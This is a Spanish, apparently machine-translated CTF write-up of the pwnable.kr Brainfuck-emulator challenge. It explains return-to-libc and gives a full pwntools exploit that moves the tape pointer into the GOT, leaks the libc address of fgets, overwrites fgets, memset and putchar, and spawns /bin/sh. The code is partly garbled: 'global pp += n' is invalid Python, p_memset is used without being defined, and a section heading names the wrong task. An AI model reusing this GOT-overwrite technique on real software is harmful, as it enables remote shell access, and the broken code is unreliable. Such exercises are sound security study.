En este artículo, resolveremos la 22a tarea desde el sitio
pwnable.kr y descubriremos la categoría de ataques que implican reescribir la dirección en el GOT a la dirección de la función que necesitamos de la biblioteca.
Información organizacionalEspecialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:
- PWN;
- criptografía (criptografía);
- tecnologías de red (Red);
- inversa (ingeniería inversa);
- esteganografía (Stegano);
- búsqueda y explotación de vulnerabilidades WEB.
Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.
Para que pueda conocer nuevos artículos, software y otra información, creé un
canal en Telegram y un
grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones
personalmente y responderé a todos .
Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.
Regresar al ataque de la biblioteca
El ataque de retorno a la biblioteca (ataque de retorno a la biblioteca) es uno de los tipos de ataques informáticos asociados con desbordamientos del búfer cuando la dirección de retorno de una función en la pila se reemplaza por la dirección de otra función en el programa, y los parámetros para la función llamada se escriben en la siguiente parte de la pila. Esta técnica permite a un atacante realizar cualquier función existente en la biblioteca sin la necesidad de inyectar código malicioso en el programa.
Linux tiene una biblioteca libc compartida que proporciona funciones estándar C y POSIX, como system () para ejecutar comandos arbitrarios. Existen bibliotecas similares en la familia de sistemas operativos Windows. Aunque un atacante puede obligar a un programa a saltar a cualquier dirección, la mayoría de los programas usan libc (vinculado a él), tiene funciones convenientes para lanzar comandos arbitrarios. Por lo tanto, las funciones de la biblioteca estándar son el objetivo más probable de tales exploits, que dieron el nombre a la clase de ataques.
Solución a la búsqueda de horcruxes
Comenzamos la segunda sección. Diré de inmediato que es más difícil que el primero y que no tenemos el código fuente de las aplicaciones. No te olvides de la discusión
aquí . Empecemos
Haz clic en el ícono con la firma Brain Fuck. Nos dan la dirección y el puerto para la conexión, el programa en sí, la biblioteca de libc y explican que es un emulador de lenguaje de mierda.

Descarga todo lo que nos dan, revisa el binario. Este es un elfo de 32 bits, por lo que descompilamos el programa en IDA Pro.

No hay vulnerabilidades en la función principal. Se controla la asignación de memoria y el número de caracteres ingresados en la variable s. Antes de esto, el puntero p se inicializa. Echemos un vistazo a la función brainfuck.

Esta función se usa para cada carácter de la cadena que ingresamos. Contiene una secuencia de acciones, dependiendo del personaje. Un conjunto completo de comandos se ve así:
- +: agrega uno al valor ubicado en p;
- ,: toma otro carácter de la entrada estándar y lo toma en p;
- -: resta uno del valor en p;
- .: muestra el carácter en la dirección p;
- <: resta de p;
- >: se agrega a la p.

Por lo tanto, la solución a nuestra tarea se producirá mediante la manipulación del puntero p. Encuentra su dirección de inicio. En la función principal, la dirección de la cinta variable se ingresa en p, es decir, 0x804a0a0.

Al mismo tiempo, la sección got.plt se encuentra en 0x804a000, las direcciones de las funciones utilizadas se almacenan en la biblioteca libc. Sobre GOT y PLT, ya escribí
aquí .

Dado que al manipular el puntero p podemos llegar a GOT, podemos implementar un ataque como ret2libc. Para hacer esto, necesitaremos reescribir la dirección de la función utilizada en la dirección de la función system () desde libc (incluso nos dieron una biblioteca).
Por lo tanto, surge el siguiente vector de ataque:
- reescribir las direcciones fgets a la dirección de la función del sistema;
- reescribe la dirección de memset a gets;
- reescribe la dirección putchar a main.
Lo que resultará de esto: después de completar los pasos indicados anteriormente, cuando se llama a la función putchar, se llamará a la función principal, que llamará gets en lugar de memset y leerá la cadena que ingresamos en la pila. Después de lo cual, en lugar de fgets, se llamará a un sistema, que generará un argumento de la pila (es decir, la línea que ingresamos).
Implementemos esto. Primero, cree una plantilla que contenga las direcciones del puntero y las funciones:
from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_puts = 0x804a018 p_putchar = 0x804a030 p_main = 0x8048671
Ahora escribiremos una función que moverá el puntero al número de pasos que necesitamos:
def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n)
Una función que lee 4 bytes:
def readVar(): return ".>"*4 + "<"*4
Una función que aceptará y escribirá 4 bytes:
def writeVar(): return ",>"*4 + "<"*4
Ahora escribimos la carga. Es simple: nos movemos a la dirección de Fgets, leemos (luego diré por qué), reescribimos ... Vamos a la dirección de memset - reescribimos, vamos a la dirección putchar - reescribimos. Todo es como en la idea.
payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.'
Entonces, ¿por qué leer la dirección de fgets? Como esto es got.plt, leemos la dirección de fgets en la biblioteca libc asociada. Como solo tenemos una biblioteca libc (no relacionada), restando la dirección de la misma función en una biblioteca no relacionada de la dirección de la función en la biblioteca vinculada, determinaremos la base, es decir, la dirección desde la cual la biblioteca está vinculada por el archivo m (el comienzo del código de la biblioteca). Luego, agregando a la base el desplazamiento de cualquier función en una biblioteca no relacionada, llegaremos a la dirección de esta función en una ya conectada. Es decir, llamaremos a una función del binario que ni siquiera se definió ...
Entonces, esta carga nos dará la dirección de la función en la biblioteca vinculada. Encontremos su dirección en desvinculada.
libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets']
Y ahora, dadas las respuestas del servidor, encontraremos la base de datos.
r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc)
Ahora obtenemos las direcciones de otras funciones teniendo en cuenta la base.
system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets']
Y nos damos cuenta de nuestra idea.
r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive()
Código completo from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_memset = 0x804a02c p_putchar = 0x804a030 p_main = 0x8048671 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) def readVar(): return ".>"*4 + "<"*4 def writeVar(): return ",>"*4 + "<"*4 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive()

Obtenemos el indicador deseado y comenzamos la segunda parte de las tareas en pwnable.kr.

Puedes unirte a nosotros en
Telegram . La próxima vez trataremos con el desbordamiento del montón.